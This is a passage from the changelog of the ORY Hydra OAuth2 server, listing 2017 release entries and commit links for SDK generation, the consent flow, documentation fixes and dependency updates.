([#622](https://github.com/ory/hydra/issues/622)) ([4a060a4](https://github.com/ory/hydra/commit/4a060a40917b1c085e691ae4023d65543667773e)): * bash command that contain regex needs to be quoated, version doesnt exists * bumped version up to 0.10.0-alpha.8 * Fixed spelling and wording ([#624](https://github.com/ory/hydra/issues/624)) ([8dd21bd](https://github.com/ory/hydra/commit/8dd21bd0afbd021f0c96b7fdec331dde432ce8c0)): * updated some language words and corrected spelling * updated docs to list that hydra now supports OpenID Connect Discovery * Update history.md for 0.10.0-alpha.9 ([525214c](https://github.com/ory/hydra/commit/525214c692639375c294f92db4e01c2a58ccab7a)) * Updated hydra version in the tutorial to v0.10.0-alpha.8 and consent app to v0.10.0-alpha.9 ([#625](https://github.com/ory/hydra/issues/625)) ([affa64e](https://github.com/ory/hydra/commit/affa64e229c6352c6e9c2d60f383b643e01fe9d0)) * Updated links to apiary as the old ones didn't link to the correct section of the page ([#626](https://github.com/ory/hydra/issues/626)) ([6ecbfdc](https://github.com/ory/hydra/commit/6ecbfdc0281a5cef51f50aea7e58b508cc2da215)) ### Unclassified * Add curl to docker files ([1475611](https://github.com/ory/hydra/commit/14756112f2e2cc7f4ac509ea7522f43133beb635)) * Remove unused numeric package ([491a4dc](https://github.com/ory/hydra/commit/491a4dc49a0e82f6bbbdb7bac5b575ebb50057ca)) * Resolve issue with postgresql connectivity ([3850ce7](https://github.com/ory/hydra/commit/3850ce78ecec58f2e00683e0090204e8814e900c)) * Run database tests in parallel ([6aa2178](https://github.com/ory/hydra/commit/6aa2178bd83e742a6c6a715430714e28ca2e87c4)), closes [#617](https://github.com/ory/hydra/issues/617) * Update to jwk-go 0.3 and replace glide with dep ([0b34388](https://github.com/ory/hydra/commit/0b34388395e245ab9dc10696e868e4a277a42469)), closes [#631](https://github.com/ory/hydra/issues/631) * Use cryptopasta library ([aff8137](https://github.com/ory/hydra/commit/aff81373caa5f4d5c1a0ef6320aad5bb50b5ec52)) * Use postgres and add consent manager test ([d1ec310](https://github.com/ory/hydra/commit/d1ec310821885a11e6a2a058fa8c629c9d3cc919)) # [0.10.0-alpha.8](https://github.com/ory/hydra/compare/v0.9.14...v0.10.0-alpha.8) (2017-10-18) cmd/server: SQLConnection should load SQLRequestManager Closes #613 ### Documentation * SDK for Go is actually for Node, fix this typo ([36ae05f](https://github.com/ory/hydra/commit/36ae05f7bd7a69399d65302a099021ed827c88db)), closes [#615](https://github.com/ory/hydra/issues/615) ### Unclassified * cmd/server: SQLConnection should load SQLRequestManager ([bb1bf68](https://github.com/ory/hydra/commit/bb1bf68b84f0f6b57bb4a547a91dfc27cbed1289)), closes [#613](https://github.com/ory/hydra/issues/613) * Add tests ([2fdcc9d](https://github.com/ory/hydra/commit/2fdcc9de75b9e01a23f5442c92c305fbef2ba4a0)) * Format js sdk and remove mock tests ([#609](https://github.com/ory/hydra/issues/609)) ([14ad3e0](https://github.com/ory/hydra/commit/14ad3e09a7cd61ad9a7416a18f0cd0119276b450)) * Gofmt ([afdb1ab](https://github.com/ory/hydra/commit/afdb1abdf76d19d107dd4f9e5a3fbda0e68542ce)) * Remove unused helpers ([1182790](https://github.com/ory/hydra/commit/1182790672a2686ffeef9cfb5777533562790c82)) # [0.9.14](https://github.com/ory/hydra/compare/v0.10.0-alpha.7...v0.9.14) (2017-10-06) docs: remove old consent policy example ### Documentation * Remove old consent policy example ([c74e4c2](https://github.com/ory/hydra/commit/c74e4c2fa5c689d583d01521a7e6b2ecc1fddcde)) ### Unclassified * Update docker compose file ([5e1ceec](https://github.com/ory/hydra/commit/5e1ceece8e75018f8c00c8836061418a8eb2cd74)) # [0.10.0-alpha.7](https://github.com/ory/hydra/compare/v0.10.0-alpha.6...v0.10.0-alpha.7) (2017-10-06) docker: update to consent app alpha.7 ### Unclassified * sdk/js: resolve lower case issue in consent request model ([e15bdf4](https://github.com/ory/hydra/commit/e15bdf4b3fca8c3849932e3b29063f42912db393)) * Update to consent app alpha.7 ([0eff6b8](https://github.com/ory/hydra/commit/0eff6b8de435880b9e8eae85ba065490982bbe04)) # [0.10.0-alpha.6](https://github.com/ory/hydra/compare/v0.10.0-alpha.5...v0.10.0-alpha.6) (2017-10-05) travis: run predeploy after success on tags This is required because before_deploy is ran twice if multiple providers exist, see https://github.com/travis-ci/travis-ci/issues/2570 ### Unclassified * Run predeploy after success on tags ([7de505d](https://github.com/ory/hydra/commit/7de505d44a2bb96f9269f8b3fdb679027343b549)): This is required because before_deploy is ran twice if multiple providers exist, see https://github.com/travis-ci/travis-ci/issues/2570 # [0.10.0-alpha.5](https://github.com/ory/hydra/compare/v0.10.0-alpha.4...v0.10.0-alpha.5) (2017-10-05) scripts: make run-deploy executable ### Unclassified * Make run-deploy executable ([5661c3e](https://github.com/ory/hydra/commit/5661c3ea7a7ede5519ca7c8e9cabdfc1b91f821c)) # [0.10.0-alpha.4](https://github.com/ory/hydra/compare/v0.10.0-alpha.3...v0.10.0-alpha.4) (2017-10-05) travis: move deploy scripts to its own file This is required because before_deploy is ran twice if multiple providers exist, see https://github.com/travis-ci/travis-ci/issues/2570 ### Unclassified * Move deploy scripts to its own file ([90d1086](https://github.com/ory/hydra/commit/90d1086fda373024273574136c0b44c252166bd3)): This is required because before_deploy is ran twice if multiple providers exist, see https://github.com/travis-ci/travis-ci/issues/2570 * Skip cpu intense jwk generation in short mode ([2c4539b](https://github.com/ory/hydra/commit/2c4539bc016197b3fcc7641181bc1b360181ecfb)) # [0.10.0-alpha.3](https://github.com/ory/hydra/compare/v0.10.0-alpha.2...v0.10.0-alpha.3) (2017-10-05) travis: resolve deployment issues ### Unclassified * Resolve deployment issues ([c93dcdb](https://github.com/ory/hydra/commit/c93dcdbf9ca30534e8bb8e79e5af81e951d56fc8)) # [0.10.0-alpha.2](https://github.com/ory/hydra/compare/v0.10.0-alpha.1...v0.10.0-alpha.2) (2017-10-05) travis: resolve deployment issues ### Documentation * Fix sdk links ([26a29ef](https://github.com/ory/hydra/commit/26a29ef66dcbe40c8cee81aec8113bb101bb7f00)) ### Unclassified * Re-add goveralls ([945a3b4](https://github.com/ory/hydra/commit/945a3b475289a48bb08e080d9dff038a19fa90bc)) * Remove deprecated http manager ([6dc05a4](https://github.com/ory/hydra/commit/6dc05a4de6123c14975bb7e0a91ae861ee7cf519)) * Resolve deployment issues ([39c02c6](https://github.com/ory/hydra/commit/39c02c699dd32b2cadc0243c62062400081c6659)) # [0.10.0-alpha.1](https://github.com/ory/hydra/compare/v0.9.13...v0.10.0-alpha.1) (2017-10-05) docker: update to go 1.9 and update compose.yml ### Documentation * Add API version note ([ac169d5](https://github.com/ory/hydra/commit/ac169d5eb4af9a9fec4a51575dbf31240338bf20)) * Add wildcard scope strategy documentation ([cff04d7](https://github.com/ory/hydra/commit/cff04d700931e7fb56264a798ebc5a29510026e5)) * Clarify tls termination functionality ([703f2c8](https://github.com/ory/hydra/commit/703f2c8fe35819d88fd3d4bf6b098cdc87575ff8)) * Clean up stale contribute.md ([0c458d3](https://github.com/ory/hydra/commit/0c458d30eac97489df873cf5527a4b26dd804163)) * Document go and js sdk ([c20a461](https://github.com/ory/hydra/commit/c20a4614a7e9a94118b8078bb1959686833068f7)) * Document go sdk ([4c40a48](https://github.com/ory/hydra/commit/4c40a485dc9b26d2f5396888452a7c162e7ed59b)) * Fix exists -> exits typo ([2e7d02b](https://github.com/ory/hydra/commit/2e7d02be90dffae7c08cab48991563f7b5d0d6e2)) * Improve 0.10.0 history ([b99e7ac](https://github.com/ory/hydra/commit/b99e7ace58d68ee6fabdb3ba46f8c1bf4f398a3c)) * Link history.md to new consent flow section ([6004275](https://github.com/ory/hydra/commit/6004275fc07e3d205ef2895dce16adbfd44a801e)) * Notify upgrades of scope change ([9ab6d97](https://github.com/ory/hydra/commit/9ab6d9700a13da112613ac956cec27fc717669a2)) * Remove consent jwk hints ([1dd4b67](https://github.com/ory/hydra/commit/1dd4b67911e2892369eb9cc69249b522e224a506)) * Remove old resources ([39801ea](https://github.com/ory/hydra/commit/39801ea40d6f0c672e18d188b588a309df4d53fe)) * Scopes are now wildcard matches ([df9ae75](https://github.com/ory/hydra/commit/df9ae75b282ce1b7225ac46ecda87cada3695fcc)) * Write docs on new consent flow ([e6f014b](https://github.com/ory/hydra/commit/e6f014b0f39251092f2b956396586833e1899a8a)) * Write down changes to history.md ([fb4935a](https://github.com/ory/hydra/commit/fb4935a1b44f1a6c808faf8370bfe4d355e60e00)) ### Unclassified * sdk/js: set version to latest to prevent accidental publish ([8991798](https://github.com/ory/hydra/commit/8991798cc6272963f621e985b756637865531b4a)) * sdk/go: add helpers for oauth2 configuration ([44194be](https://github.com/ory/hydra/commit/44194bee6041e775df176c94be0438a1894d7012)) * docs/sdk: link sdk docs to readme files ([bcb5459](https://github.com/ory/hydra/commit/bcb5459399a12f92d8b82f5066e521df699e8549)) * sdk/js: officially publish nodejs sdk ([c007c78](https://github.com/ory/hydra/commit/c007c78001b063684b170d8632b5238405bfcc3e)) * sdk/go: write interfaces for APIs & responses ([3785212](https://github.com/ory/hydra/commit/3785212d002bdf6c83626cf1f9d0fc6e1396e769)), closes [#593](https://github.com/ory/hydra/issues/593) * warden/group: refactor group sdk and group management interface ([7366b1e](https://github.com/ory/hydra/commit/7366b1ec15e5c4d0e2a5baaf691566d71a54e20e)) * cmd/cli: implement policy handler based on swagger client ([fbdd4eb](https://github.com/ory/hydra/commit/fbdd4ebd9bc27d211939910fd02886ce0cb0f67f)) * cmd/cli: fake-tls-termination and refactoring errors checks ([4486d4c](https://github.com/ory/hydra/commit/4486d4cb718df042136e3dbc47d50405dad58afe)) * cmd/client: use new sdk for client cli ([e941e0e](https://github.com/ory/hydra/commit/e941e0e888ed424837060bedee0c73a89a351043)) * sdk/go: switch to resty master for oauth2 compatibility ([9692e9f](https://github.com/ory/hydra/commit/9692e9f0d63f69e8f2868cc84614290052d464ff)) * sdk/go: move go sdk to appropriate package ([3633b90](https://github.com/ory/hydra/commit/3633b905e03c6db04cadd09d187a36640c93d783)) * cmd/cli: typo connection -> policy (#592) ([94eb5ac](https://github.com/ory/hydra/commit/94eb5acf146f75f8cd125b81a0b017e574e2ca04)), closes [#592](https://github.com/ory/hydra/issues/592) [#583](https://github.com/ory/hydra/issues/583) * Adapt to new consent manager ([6c5a7bb](https://github.com/ory/hydra/commit/6c5a7bb5fbc19e81d4cf251293524c944c5406d4)) * Add go-resty to glide dependencies ([5805e69](https://github.com/ory/hydra/commit/5805e69c490f098a52b195812dc92b92b0f1de6c)) * Add gofmt testing ([4ca7780](https://github.com/ory/hydra/commit/4ca77807e014494bbfe09a8a28ae3f0edcb04862)) * Add hydra to swagger tags ([b6c01d5](https://github.com/ory/hydra/commit/b6c01d5c37a44a8059ed2ef009e3298af0232216)) * Add memory manager instantiator ([4f77e67](https://github.com/ory/hydra/commit/4f77e67cfffe15e8ab85da36259209044bf749a2)) * Add node and go SDK from swagger codegen ([a6e4809](https://github.com/ory/hydra/commit/a6e480927e1d97a555adbe0f66ec292685fa333b)) * Add short mode for tests ([fa46211](https://github.com/ory/hydra/commit/fa4621117028a502f0b70ad8adfec21057253fb7)) * Add swagger codegen cli to repo ([b1484f5](https://github.com/ory/hydra/commit/b1484f549dd51baf7890df07a5199d41425d8f1f)) * Allow redirects in resty client ([b703388](https://github.com/ory/hydra/commit/b703388498539ca26151b95b54e5ef5516e00aa5)) * Appropriately handle client secret responses ([96df498](https://github.com/ory/hydra/commit/96df49822b1dbce648f324ee699f2ec93bbaea46)) * Clean up sdk tests ([c026f4b](https://github.com/ory/hydra/commit/c026f4b8958c1e0b08907b73c8827fddc6d94823)) * Finalize SDK tests ([cc970d9](https://github.com/ory/hydra/commit/cc970d96e17e4033ffb7c0fa4cfce12d9c3fecaa)) * Finalize tests and format ([fcb14db](https://github.com/ory/hydra/commit/fcb14dbae7c1203b1a159909c484e88cd63e9e5c)) * Fix binary building ([#596](https://github.com/ory/hydra/issues/596)) ([22ca5b8](https://github.com/ory/hydra/commit/22ca5b8c6f7ccae9c3347ac30280bb381dcda1f8)) * Force linefeed ([653f175](https://github.com/ory/hydra/commit/653f1758d5ecbc9902d3ba477888c6b5fae43307)) * Force linefeed on windows ([7943f59](https://github.com/ory/hydra/commit/7943f594a6d81f419d4b8bf6aaf8fbc2623c78bd)) * Force swagger array type in list response ([a440d8a](https://github.com/ory/hydra/commit/a440d8a809a8bcf40a9235b63946e70723297299)) * Implement policy sdk and tests based on swagger ([c47d8d1](https://github.com/ory/hydra/commit/c47d8d12042b8155ea16bc3bb15e64e5ec06388f)) * Implement swagger based SDK and write tests ([433e57c](https://github.com/ory/hydra/commit/433e57c251fe4c6f33aa1934518e530b96b62711)) * Implement swagger-based sdk ([7837071](https://github.com/ory/hydra/commit/783707175b9b8f0fcf7401a13086634b00ab775e)) * Implement swagger-based sdk ([87b893e](https://github.com/ory/hydra/commit/87b893e77fb695436ddb768bd0f52cc8a5083bec)) * Improve scripts ([b9bb146](https://github.com/ory/hydra/commit/b9bb1468f25fbed65c38217adf304c3bd57d49d6)) * Improve swagger definitions ([0c05da3](https://github.com/ory/hydra/commit/0c05da3d712d9ab47f826d98f53e67904b8b50d8)) * Improve swagger documentation of all modules ([6fe4bb2](https://github.com/ory/hydra/commit/6fe4bb2996a3ff2afcd325e712ae283a7bcf28cb)) * Improve swagger spec and generate/test client for revoke ([412667b](https://github.com/ory/hydra/commit/412667bd1652fe0f2c4254b1df7353ce8ef72980)) * Make scripts executable ([989bfce](https://github.com/ory/hydra/commit/989bfceecd1491aa5070ce9e6c5bf12e1322a1a5)) * Move sdk one directory down ([364cd90](https://github.com/ory/hydra/commit/364cd90f404476faecf34f0dd78e5d3eacf34c90)) * Ran gofmt and goimports ([57fdfe9](https://github.com/ory/hydra/commit/57fdfe95ea09d95184693566a8e4fca55c5e7567)) * Reduce tags to one and clean up sdk ([8fcc8cb](https://github.com/ory/hydra/commit/8fcc8cb2510cf434062aa89147e096ad6dabd7e3)) * Remove obsolete http manager ([81bfdf2](https://github.com/ory/hydra/commit/81bfdf2c4bc0099e408257ee6dc3ce6113f94499)) * Remove outdated consent helper ([5d29fda](https://github.com/ory/hydra/commit/5d29fda7bb2dd26a47b9c4e88c6e8f6962637726)) * Remove payload from warden token response name ([2dcee12](https://github.com/ory/hydra/commit/2dcee12112d24e799d940b20f9360dbded7706e6)) * Remove swagger-codegen jar from git ([94bd5bd](https://github.com/ory/hydra/commit/94bd5bd84bd4fb453183b2c64117afcef3f5f886)) * Rename audience to client_id/clientId ([6c51606](https://github.com/ory/hydra/commit/6c51606a1801575e487a0c5a36d6bcdfac4cc660)), closes [#595](https://github.com/ory/hydra/issues/595) * Replace HierarchicScopeStrategy with WildcardScopeStrategy ([a62b9f9](https://github.com/ory/hydra/commit/a62b9f912811f4f7ff5007444974cdf96e7daec5)), closes [#550](https://github.com/ory/hydra/issues/550) * Replace jwk-based with http-based consent flow ([fc3ee34](https://github.com/ory/hydra/commit/fc3ee34e68ccffc506dcb9cf26f3f864ccb93b82)), closes [#578](https://github.com/ory/hydra/issues/578) * Replace pkg.AssertError with testify error checks ([8560a1c](https://github.com/ory/hydra/commit/8560a1ce35311e3bb7bcfca9cca21495e03e5bc1)) * Replace response shorthands with more readable names ([becafd0](https://github.com/ory/hydra/commit/becafd06ef6db93d362aaeda65055a489ac1e6ad)) * Resolve failing test ([e600d28](https://github.com/ory/hydra/commit/e600d28164ba12e25b247de7f7831bceec8ba4d9)) * Resolve race issue ([adf99e0](https://github.com/ory/hydra/commit/adf99e0e5bded464bb557505d8a8b428d8e16ecf)) * Return array instead of object on list endpoint ([b4faac6](https://github.com/ory/hydra/commit/b4faac659e3ab9145ea8cd64ce729ce6608155fb)) * Return consent deny reason to oauth2 initiator ([a835a54](https://github.com/ory/hydra/commit/a835a54610c2f4982a880e73b828175a07e596ac)) * Revert audience changes ([1754b6f](https://github.com/ory/hydra/commit/1754b6ff163568128196e25fdfb8a47bf810e248)) * Run gofmt ([459b6f5](https://github.com/ory/hydra/commit/459b6f53de1efa11f86838d32dafbfc59f28eef5)) * Run gofmt ([b786e70](https://github.com/ory/hydra/commit/b786e7055da02cc4e527793583cb5663f06189fe)) * Scripts now format sdk files as well ([cf5ab6b](https://github.com/ory/hydra/commit/cf5ab6be49c1fd863f4fc85d5c9d3c64d17786b8)) * Update format script ([2c79a31](https://github.com/ory/hydra/commit/2c79a315506f652a539bf9ddc2a4aa4fd0f851bf)) * Update fosite dependency ([463314e](https://github.com/ory/hydra/commit/463314e8236cf37baf874293437b7d9b26c9effa)) * Update glide.lock ([89fa18e](https://github.com/ory/hydra/commit/89fa18e0752360ac8d869fcab48cf98139e3bf88)) * Update scripts and format code ([5b9c7f8](https://github.com/ory/hydra/commit/5b9c7f84b27a9d4a0e6b5dba6503e7eb14ad1c47)) * Update sdk definitions ([b5109f8](https://github.com/ory/hydra/commit/b5109f80afa019e6266da63de7114c8e377aa8cc)) * Update sdk generator script ([c99e401](https://github.com/ory/hydra/commit/c99e401c37023894cf21b1ed18319da59bb1810b)) * Update swagger definitions ([d43a594](https://github.com/ory/hydra/commit/d43a59464364c4affb4abe7b0e224cf6a94b0da2)) * Update swagger definitions ([52e83a8](https://github.com/ory/hydra/commit/52e83a848d5b4d9b6ec83dfac55ac4a3f138119b)) * Update swagger definitions and codegens ([97636bf](https://github.com/ory/hydra/commit/97636bf6d92bb259aa1f510f6fd305d14e2b56f3)) * Update swagger definitions and combine in hydra interface ([5a27d4b](https://github.com/ory/hydra/commit/5a27d4bf126126e65a736f9f32004f5aaebd59fe)) * Update swagger definitions and fix failing tests ([92fe6bb](https://github.com/ory/hydra/commit/92fe6bbece4680448a9fc2cdcc80ed00504d5ac3)) * Update swagger location ([dc9738c](https://github.com/ory/hydra/commit/dc9738c40fac7b8fe3b0ba83ba489eb432ed6060)) * Update to fosite 0.11.0 ([d0a7e77](https://github.com/ory/hydra/commit/d0a7e775ad8581ad10e47b18d0501353c63028ae)), closes [#460](https://github.com/ory/hydra/issues/460) [#550](https://github.com/ory/hydra/issues/550) [#556](https://github.com/ory/hydra/issues/556) * Update to go 1.9 and update compose.yml ([f8dd4a1](https://github.com/ory/hydra/commit/f8dd4a16e921b5cb798e7e1bc15867ab7ddb8863)) * Write swagger docs ([635d0a1](https://github.com/ory/hydra/commit/635d0a1cce6f2dcf28796569d8221de47570522a)) * Write test for handling consent deny ([df5f415](https://github.com/ory/hydra/commit/df5f4152fee71f74a6c6f396008f1aa290d3ea34)), closes [#597](https://github.com/ory/hydra/issues/597) * Write test for swagger codegen sdk ([c71c1e7](https://github.com/ory/hydra/commit/c71c1e7ccd745b1e77d06c85fb71fde428e22aad)) # [0.9.13](https://github.com/ory/hydra/compare/v0.9.12...v0.9.13) (2017-09-26) health: disable TLS restriction for health check (#587) Removes TLS restriction on health endpoint when termination is set - closes #586 ### Documentation * Install.md port typo ([#566](https://github.com/ory/hydra/issues/566)) ([5a4325d](https://github.com/ory/hydra/commit/5a4325dd3c9cf3131daea3623af752338a56d8cd)) * Update banner ([df91ba6](https://github.com/ory/hydra/commit/df91ba61132af56c2e86859bec75afd3335c251e)) * Update banner in readme ([3a78859](https://github.com/ory/hydra/commit/3a788595af3a2227b8b6ccec20b60f3108227c91)) * Update banner in readme ([87999b1](https://github.com/ory/hydra/commit/87999b1287d1ad3c3963489045d5d26689c8fe67)) * Update gatekeeper section ([53f7d64](https://github.com/ory/hydra/commit/53f7d6471beea4496995cba6bb3b8f9497ff6677)) * Update readme ([2f0ccb9](https://github.com/ory/hydra/commit/2f0ccb910dee3015498fa008ef6a547fd4000c9a)) * Update readme ([f831da8](https://github.com/ory/hydra/commit/f831da8983d5f40900c32867e07870e7b043d5b8)) * Update readme ([f53e0f2](https://github.com/ory/hydra/commit/f53e0f26ba2d148db0d813335be75d0f153c5a78)) * Update readme ([c94ba07](https://github.com/ory/hydra/commit/c94ba07f251af90e800e1d0fb50c0805ba473e75)) ### Unclassified * Update README.md ([12bb9c3](https://github.com/ory/hydra/commit/12bb9c3383b3483fd0fb6964a82433b8b85e3f0e)) * Update README.md ([d55bf91](https://github.com/ory/hydra/commit/d55bf91c97831467380175acce63f475d992bfec)) * Update README.md ([4569f1b](https://github.com/ory/hydra/commit/4569f1bf366f8a0ddca4d203700d7564f1c715a2)) * Update README.md ([478a19d](https://github.com/ory/hydra/commit/478a19d02ede85b6e80248d2ec846d62cc5f0b8e)) * `token user` should use clusterurl instead of empty string ([#582](https://github.com/ory/hydra/issues/582)) ([89d429e](https://github.com/ory/hydra/commit/89d429e728990be047aad273669e3d9cd2a27e07)), closes [#581](https://github.com/ory/hydra/issues/581) * Disable TLS restriction for health check ([#587](https://github.com/ory/hydra/issues/587)) ([b1169ad](https://github.com/ory/hydra/commit/b1169aded753a357666864c983fb588e5e8cc4c6)), closes [#586](https://github.com/ory/hydra/issues/586) * Give meaningful hint when subject claim is empty ([#554](https://github.com/ory/hydra/issues/554)) ([3f01ff8](https://github.com/ory/hydra/commit/3f01ff816a53014a9b73cfc564918f7f2ebc44de)), closes [#460](https://github.com/ory/hydra/issues/460) * Update to ladon 0.8.2 ([#570](https://github.com/ory/hydra/issues/570)) ([c2adce2](https://github.com/ory/hydra/commit/c2adce237d6701af5beb8c5b2dec850446babee4)) * Update various dependencies ([#579](https://github.com/ory/hydra/issues/579)) ([f4176a6](https://github.com/ory/hydra/commit/f4176a6f61b06aeb320cca7938f788fbfb42add8)), closes [#571](https://github.com/ory/hydra/issues/571) # [0.9.12](https://github.com/ory/hydra/compare/v0.9.11...v0.9.12) (2017-07-06) vendor: update glide lock ### Documentation * Fix typo in tutorial ([#547](https://github.com/ory/hydra/issues/547)) ([dc98708](https://github.com/ory/hydra/commit/dc98708d7c57cab5d120a25329cab2ae14d457d1)) * Hydra container doesn't include bash ([#548](https://github.com/ory/hydra/issues/548)) ([e837bba](https://github.com/ory/hydra/commit/e837bba5aa5ecce8dc7995b6b84f6ecaad60455f)) * Move install section on top of security in toc ([97c2237](https://github.com/ory/hydra/commit/97c2237b72ba34190076183e77610bca680161f6)) * Update badge alignment ([1d41a50](https://github.com/ory/hydra/commit/1d41a50ed52752aa93aff354d85b4b4d6c9c1f8d)) * Update badges, install guide and tutorial ([#545](https://github.com/ory/hydra/issues/545)) ([07a7fdd](https://github.com/ory/hydra/commit/07a7fdd961176aeefef92f11531e9b18395a49de)): * docs: update badges in readme * docs: update install guide and tutorial * Update header ([50aa87b](https://github.com/ory/hydra/commit/50aa87bfd507ff52c469f13f2623507792102640)) * Update ocs section ([e0fe736](https://github.com/ory/hydra/commit/e0fe7360ad975eb3a8b9713fe5644ed3a5bf769a)) * Update ocs section in the reademe ([4622f97](https://github.com/ory/hydra/commit/4622f9733411750364c13cf8add1a347eff2e9e8)) ### Unclassified * cmd/token/user: fix auth and token-url mixup ([34d8404](https://github.com/ory/hydra/commit/34d840408a67fe2c608a607b4b1b294113e746d0)) * Gofmt -w -s ([13c6915](https://github.com/ory/hydra/commit/13c6915a001555d1d4fcb6d4699371a8fef62d5a)) * Refresh tokens are no longer proof of authZ ([d38dcf3](https://github.com/ory/hydra/commit/d38dcf38d7dffb1d51bbfdc071b80a5df3ca1e41)), closes [#549](https://github.com/ory/hydra/issues/549) * Resolve broken import ([9efe853](https://github.com/ory/hydra/commit/9efe8533f35380896e68f1292b10d0db6c2d77a6)) * Resolve logrus case mess ([b480a3e](https://github.com/ory/hydra/commit/b480a3ea2eac16cdf573aab7c7785e902950a88c)) * Update glide lock ([4651a23](https://github.com/ory/hydra/commit/4651a2303a695ed79955ae64ec9fd7e5dc697906)) # [0.9.11](https://github.com/ory/hydra/compare/v0.9.10...v0.9.11) (2017-06-30) docs: added step-by-step install guide ### Documentation * Add issue template ([749dd2e](https://github.com/ory/hydra/commit/749dd2e76eb7d80938f5a981e1b2b310d6a635ca)) * Add pr tempalte ([9f15309](https://github.com/ory/hydra/commit/9f15309025e2a994cf8f5e41fd3ad7d5ecbd734e)) * Add product teasers ([#543](https://github.com/ory/hydra/issues/543)) ([32c0c14](https://github.com/ory/hydra/commit/32c0c14e0223ef89cbcf4c6f3c3fd9746e856cf4)) * Added step-by-step install guide ([9268e02](https://github.com/ory/hydra/commit/9268e02b295a090e147d65a7615a5154beafc2e0)) ### Unclassified * cmd/token/user: cluster is now auth-url/token-url ([705b473](https://github.com/ory/hydra/commit/705b47337b3b273a908ebca6b34540fa31d07330)) * Create CODE_OF_CONDUCT.md ([c689e33](https://github.com/ory/hydra/commit/c689e33ab953a2456bc54f24b4acb96102521057)) * Update PULL_REQUEST_TEMPLATE.md ([42f5eeb](https://github.com/ory/hydra/commit/42f5eeb1c9d4d66769e1b6f6b72e0addcdd3bb58)) * Update ISSUE_TEMPLATE.md ([8b5ff5f](https://github.com/ory/hydra/commit/8b5ff5fa1f9e012338cc1159a376073caa93670f)) * Remove skip-tls-verify warning ([e30b3c3](https://github.com/ory/hydra/commit/e30b3c35e7ffd35e68c094ef8e538a213422931a)) * Return "ok" response instead of 204 ([888ec56](https://github.com/ory/hydra/commit/888ec56f9cd767c1a815bfc2f9e7ecbf87f2e672)) # [0.9.10](https://github.com/ory/hydra/compare/v0.9.9...v0.9.10) (2017-06-29) vendor: update fosite to remove forced nonce (#542) ### Documentation * Clarify health check section in install ([57022eb](https://github.com/ory/hydra/commit/57022ebf1b6d9ef688ce33d805735e9c064e4a99)) * Update "Build from source" section to actual state ([#534](https://github.com/ory/hydra/issues/534)) ([10ff151](https://github.com/ory/hydra/commit/10ff1510ab5933dca5c4c333721090181b0dd7f8)) * Update install.md ([5d1bd50](https://github.com/ory/hydra/commit/5d1bd50bafb44ed08b859fd9620c78118119640c)) ### Unclassified * cmd/host: move status info to dedicated endpoint ([b872f0b](https://github.com/ory/hydra/commit/b872f0baf03c642dbd9985cd75f4158eccc58251)), closes [#532](https://github.com/ory/hydra/issues/532) * Form-urldecode authorization basic header ([#537](https://github.com/ory/hydra/issues/537)) ([0868e80](https://github.com/ory/hydra/commit/0868e80a48be0276e4e2b648242f4647be3107c9)), closes [#536](https://github.com/ory/hydra/issues/536) * Update fosite to remove forced nonce ([#542](https://github.com/ory/hydra/issues/542)) ([1e2ad84](https://github.com/ory/hydra/commit/1e2ad8460d61d7f020801815c9fe68d12bc8fd6a)) # [0.9.9](https://github.com/ory/hydra/compare/v0.9.8...v0.9.9) (2017-06-17) cmd: add test for get handler ### Unclassified * cmd/policy/create: exit on error - closes #527 ([4fd7e9d](https://github.com/ory/hydra/commit/4fd7e9d2a8bb96109d422c2112a955339db4d4d0)), closes [#527](https://github.com/ory/hydra/issues/527) * cmd/cli/client: added get handler ([075b4c2](https://github.com/ory/hydra/commit/075b4c2051acef05ea5e32271219ec8a6cf8462c)) * Add test for get handler ([bb31d76](https://github.com/ory/hydra/commit/bb31d763f174ae79c355950dacc632c9105dcea9)) # [0.9.8](https://github.com/ory/hydra/compare/v0.9.7...v0.9.8) (2017-06-17) oauth2: resolve session issue with deep nested session Closes #512 ### Documentation * Add consent app client guidance to faq ([6abd26d](https://github.com/ory/hydra/commit/6abd26d8e1684d3c389df81aeffdc2bd9b744ef6)) ### Unclassified * Added failing test case for [#512](https://github.com/ory/hydra/issues/512) ([0f98e88](https://github.com/ory/hydra/commit/0f98e88a1ba5f14da8340bb0db0caa9fc58413c7)) * Resolve session issue with deep nested session ([a89a470](https://github.com/ory/hydra/commit/a89a470b993904804f4143f24301ef09bc4620e0)), closes [#512](https://github.com/ory/hydra/issues/512) * Update to ladon 0.8.0 - closes [#503](https://github.com/ory/hydra/issues/503) ([#528](https://github.com/ory/hydra/issues/528)) ([23902a0](https://github.com/ory/hydra/commit/23902a0b173775fb746ac35288d9cee5a5352031)) # [0.9.7](https://github.com/ory/hydra/compare/v0.9.6...v0.9.7) (2017-06-16) cmd/server: supply admin client policy with id ### Documentation * Update engineer membership typos ([0ca54de](https://github.com/ory/hydra/commit/0ca54de802a0540745516453424e2656bdd26e08)) * Update readme to reflect issuer change ([429fd0a](https://github.com/ory/hydra/commit/429fd0aac8fc242361bf82f993781cd9e2851e1f)) ### Unclassified * cmd/server: supply admin client policy with id ([1ff9838](https://github.com/ory/hydra/commit/1ff9838896d17f101367e54c136432d5c02c533d)) # [0.9.6](https://github.com/ory/hydra/compare/v0.9.5...v0.9.6) (2017-06-15) all: add ability to load database connectors from plugins ### Unclassified * Add ability to load database connectors from plugins ([f64771f](https://github.com/ory/hydra/commit/f64771f8a8ffd42d45013d43d75e9ed204a9e16f)) # [0.9.5](https://github.com/ory/hydra/compare/v0.9.4...v0.9.5) (2017-06-15) vendor: upgrade ladon to 0.7.7 (#523) ### Unclassified * Upgrade ladon to 0.7.7 ([#523](https://github.com/ory/hydra/issues/523)) ([d18c68a](https://github.com/ory/hydra/commit/d18c68ab21afc730d780167437a60f03b14f01c2)) # [0.9.4](https://github.com/ory/hydra/compare/v0.9.3...v0.9.4) (2017-06-14) all: improve test exports (#521) ### Documentation * Improve faq section ([2de9bd8](https://github.com/ory/hydra/commit/2de9bd87d7c66c8cbd1de86414106166b31332cf)) * Start writing faq from gitter ([#504](https://github.com/ory/hydra/issues/504)) ([8e9ca61](https://github.com/ory/hydra/commit/8e9ca610e2c02aa09c3a0299e2f96bc1d5088689)) ### Unclassified * Improve test exports ([#521](https://github.com/ory/hydra/issues/521)) ([b40e879](https://github.com/ory/hydra/commit/b40e87906c3e43bf04fe8a8198c5d085a85676ad)) * Resolve issuer test issue ([#522](https://github.com/ory/hydra/issues/522)) ([d91305b](https://github.com/ory/hydra/commit/d91305baece8a14e7d6d39fca8b064a4e956be31)) # [0.9.3](https://github.com/ory/hydra/compare/v0.9.2...v0.9.3) (2017-06-14) oauth2: use issuer-prefixed auth URL in 